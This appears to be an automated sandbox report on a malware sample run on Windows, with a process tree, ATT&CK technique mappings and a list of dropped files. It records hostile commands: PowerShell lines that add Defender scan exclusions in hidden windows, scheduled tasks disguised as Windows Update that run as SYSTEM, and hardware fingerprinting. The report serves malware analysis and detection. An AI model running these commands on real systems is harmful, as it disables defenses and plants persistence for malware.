C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --field-trial-handle=2348,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2344 /prefetch:115⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2296,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2288 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --field-trial-handle=2716,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2708 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3244,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3240 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3268,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3264 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3448,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3444 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --extension-process --enable-dinosaur-easter-egg-alt-images --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=3484,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3480 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=3968,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3964 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4004,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4000 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome5896241425125" --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=5272,i,307547578731329101,10959582037680699825,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5268 /prefetch:15⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --log-level=34⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge8424241425734 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge8424241425734\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2a0,0x2a4,0x2a8,0x29c,0x384,0x7ff9c8f6f208,0x7ff9c8f6f214,0x7ff9c8f6f2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=2988,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2984 /prefetch:115⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --string-annotations --noerrdialogs --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2912,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2904 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --always-read-main-dll --field-trial-handle=3004,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2996 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --instant-process --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3396,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3392 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=4208,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4196 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=4192,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4188 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=4316,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4288 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=4264,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2212 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=4344,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4352 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=4284,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4272 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=4428,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4412 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=4384,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4392 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=4500,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4496 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --extension-process --renderer-sub-type=extension --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=4464,i,7181942102960639394,16259678830838550227,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4460 /prefetch:95⤵
-
-
-
-
C:\Windows\System32\a\tqg1699uiwak.exe"C:\Windows\System32\a\tqg1699uiwak.exe"3⤵
-
-
C:\Windows\System32\a\Loader.exe"C:\Windows\System32\a\Loader.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"4⤵
-
-
-
C:\Windows\System32\a\57egO0n.exe"C:\Windows\System32\a\57egO0n.exe"3⤵
-
-
C:\Windows\System32\a\911003bc2e1a48bcad3df4f8822d3445_build.exe"C:\Windows\System32\a\911003bc2e1a48bcad3df4f8822d3445_build.exe"3⤵
-
-
C:\Windows\System32\a\72ec0de632434927892e1fd7b2bca1e9_build.exe"C:\Windows\System32\a\72ec0de632434927892e1fd7b2bca1e9_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
-
C:\Windows\System32\a\269f741bc1dc4e81a11970475fc19d02_crypted_build.exe"C:\Windows\System32\a\269f741bc1dc4e81a11970475fc19d02_crypted_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\GDGTZ\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\GDGTZ\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\GDGTZ\game_launcher.exeC:\Users\Admin\AppData\Local\GDGTZ\game_launcher.exe4⤵
-
-
-
C:\Windows\System32\a\01fc35e092ba4f898638bb7d49c1572f_build.exe"C:\Windows\System32\a\01fc35e092ba4f898638bb7d49c1572f_build.exe"3⤵
-
-
C:\Windows\System32\a\69b261a3e2f342588b1a50de576759aa_crypted_build.exe"C:\Windows\System32\a\69b261a3e2f342588b1a50de576759aa_crypted_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\hFdSeV\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\hFdSeV\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\hFdSeV\game_launcher.exeC:\Users\Admin\AppData\Local\hFdSeV\game_launcher.exe4⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"5⤵
-
-
-
-
C:\Windows\System32\a\5d22a78913464bfdbc143f4f738b1b29_build.exe"C:\Windows\System32\a\5d22a78913464bfdbc143f4f738b1b29_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
-
C:\Windows\System32\a\5b6878d928514a2f9d1e133410bd481a_build.exe"C:\Windows\System32\a\5b6878d928514a2f9d1e133410bd481a_build.exe"3⤵
-
-
C:\Windows\System32\a\488ac560be52490391c8a64b0eb0cafd_build.exe"C:\Windows\System32\a\488ac560be52490391c8a64b0eb0cafd_build.exe"3⤵
-
-
C:\Windows\System32\a\dbd544c5121242a09d0c83455153f18f_build.exe"C:\Windows\System32\a\dbd544c5121242a09d0c83455153f18f_build.exe"3⤵
-
-
C:\Windows\System32\a\879b4bfa3a2c42c6a89f3c2290662e25_build.exe"C:\Windows\System32\a\879b4bfa3a2c42c6a89f3c2290662e25_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
C:\Windows\System32\cmd.exe"C:/Windows/System32/cmd.exe"4⤵
-
-
-
C:\Windows\System32\a\8f97a032ba504731987d99793058861b_build.exe"C:\Windows\System32\a\8f97a032ba504731987d99793058861b_build.exe"3⤵
-
-
C:\Windows\System32\a\fcc969c3049642339bafad90fbe2c991_crypted_build.exe"C:\Windows\System32\a\fcc969c3049642339bafad90fbe2c991_crypted_build.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\BfWVrPwXM\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
-
-
C:\Windows\System32\a\ITAwKmx.exe"C:\Windows\System32\a\ITAwKmx.exe"3⤵
-
-
C:\Windows\System32\a\OriginalBuild.exe"C:\Windows\System32\a\OriginalBuild.exe"3⤵
-
-
C:\Windows\System32\a\qcznu7yzz3j5.exe"C:\Windows\System32\a\qcznu7yzz3j5.exe"3⤵
-
-
C:\Windows\System32\a\krfie7dhza0l.exe"C:\Windows\System32\a\krfie7dhza0l.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Nord\enordvpn.exeC:\Users\Admin\AppData\Roaming\Nord\enordvpn.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\CMD.exeCMD /C "WMIC BIOS GET SERIALNUMBER"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC BIOS GET SERIALNUMBER3⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC DISKDRIVE GET SERIALNUMBER"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC DISKDRIVE GET SERIALNUMBER3⤵
-
-
-
C:\Windows\system32\CMD.exeCMD /C "WMIC CPU GET ProcessorID"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC CPU GET ProcessorID3⤵
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "del C:\Users\Admin\AppData\Roaming\Nord\enordvpn.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\oc.exeC:\Users\Admin\AppData\Local\Temp\a\oc.exe1⤵
-
C:\Windows\SysWOW64\schtasks.exe/create /tn "WindowsUpdategPkYpU" /tr "C:\Users\Admin\AppData\Local\Temp\a\oc.exe" /sc onlogon /ru SYSTEM2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\hgTwsfUUI5pI.exe"C:\Users\Admin\AppData\Local\Temp\hgTwsfUUI5pI.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 8122⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 6036 -ip 60361⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1576 -ip 15761⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe1⤵
-
C:\Windows\System32\a\oc.exeC:\Windows\System32\a\oc.exe1⤵
-
C:\Windows\SysWOW64\schtasks.exe/create /tn "WindowsUpdateRTW5dP" /tr "C:\Windows\System32\a\oc.exe" /sc onlogon /ru SYSTEM2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\E1qHLjjOqXVm.exe"C:\Users\Admin\AppData\Local\Temp\E1qHLjjOqXVm.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8480 -s 8162⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6400 -ip 64001⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 8480 -ip 84801⤵
-
C:\ProgramData\ffdfcddcbdcaaadaeedc.exe"C:\ProgramData\ffdfcddcbdcaaadaeedc.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Crypted.exeC:\Users\Admin\AppData\Local\Temp\a\Crypted.exe1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "NETLOCALSYS"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "NETLOCALSYS"1⤵
-
C:\Windows\SysWOW64\NETLOCALSYS.exeC:\Windows\system32\NETLOCALSYS.exe "c:\windows\system32\241456265.dll",MainThread2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
2File/Path Exclusions
1Hidden Window
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
OIzcNJjov8Dx
Synaptics.exe
zeAOnlr3Eu1Q
settings.dat
settings.dat
Local State
Local State
._cache_NewTextDocumentmod.exe
1_241390203.exe
2_241402453.exe
3_241412703.exe
4_241422390.exe
5_241435031.exe
CURRENT
MANIFEST-000001
index
settings.dat
f4e76d18-3033-4573-a635-f1a617757c25.tmp
settings.dat
settings.dat
data_1
Local State
Local State
Local State~RFe63f1f7.TMP
data_0
data_2
data_3
RCX33BA.tmp
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_lzma.pyd
_zstd.pyd
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.dll
python314.dll
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_wtcbkque.y2t.ps1
01.exe
02.08.2022.exe
1.exe
269f741bc1dc4e81a11970475fc19d02_crypted_build.exe
2vbwlee3xuvi.exe
3.exe
4.exe
41lglxP.exe
57egO0n.exe
5d22a78913464bfdbc143f4f738b1b29_build.exe
6.exe
64th%20Services.exe
69b261a3e2f342588b1a50de576759aa_crypted_build.exe
7.exe
72ec0de632434927892e1fd7b2bca1e9_build.exe
8.exe
879b4bfa3a2c42c6a89f3c2290662e25_build.exe
911003bc2e1a48bcad3df4f8822d3445_build.exe
ATTACK.exe
CFXBypass.exe
Client-built.exe
Crypted.exe
ITAwKmx.exe
Loader.exe
LosslessCut.exe
Multi-tiered_8865.99.73_INSTALL.exe
N6ezi92.exe
OriginalBuild.exe
Pulsar-Client.exe
Renewable.exe
RuntimeBroker.exe
Vl42rA8dkRKp2D9.exe
YJHchKa.exe
actu.exe
bot.exe
c1i.exe
cheat.exe
clean.exe
direct_x64.exe
donut.exe
fastping_silent_v4.exe
fcc969c3049642339bafad90fbe2c991_crypted_build.exe
klv8.exe
kn.exe
krfie7dhza0l.exe
oc.exe
qcznu7yzz3j5.exe
rhsremotesupportv2.exe
staged_x64.exe
staged_x86.exe
stageless_x64.exe
svchost.exe
tcp_windows_amd64.exe
tcp_windows_i386.exe
temp.exe
teste.exe
tqg1699uiwak.exe
udNbXjM.exe
urfHCo8.exe
winsvc_x64.exe
winsvc_x86.exe
x.exe
xx.exe
yyy.exe
zx.exe
zzzxvp02gf01.exe
hgTwsfUUI5pI.exe
6_241443343.tmp
_isdecmp.dll
nsExec.dll
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
stub_debug.log
tmpD9C4.tmp
tmpD9E6.tmp
Tempmuckndqgiofu.db
Tempmuckrtturxfm.db
enordvpn.exe
sc.exe
v1d.exe
memory/652-1320-0x00000000001B0000-0x0000000000E70000-memory.dmp
memory/652-1321-0x0000000005900000-0x000000000599C000-memory.dmp
memory/652-1322-0x0000000005A90000-0x0000000005AC0000-memory.dmp
memory/668-8914-0x0000000000400000-0x00000000005BE000-memory.dmp
memory/668-7361-0x0000000000400000-0x00000000005BE000-memory.dmp
memory/668-7421-0x0000000000400000-0x0000000000504000-memory.dmp
memory/1400-2584-0x0000000000810000-0x0000000000C87000-memory.dmp
memory/1400-2435-0x0000000000810000-0x0000000000C87000-memory.dmp
memory/1864-2872-0x0000000000210000-0x00000000006F3000-memory.dmp
memory/1864-3308-0x0000000000210000-0x00000000006F3000-memory.dmp
memory/2268-3553-0x0000018E24CB0000-0x0000018E24CBA000-memory.dmp
memory/2268-3495-0x0000018E24CC0000-0x0000018E24CDC000-memory.dmp
memory/2268-5408-0x0000018E24DF0000-0x0000018E24DFA000-memory.dmp
memory/2268-3598-0x0000018E24DC0000-0x0000018E24DDC000-memory.dmp
memory/2268-3496-0x0000018E24CE0000-0x0000018E24D93000-memory.dmp
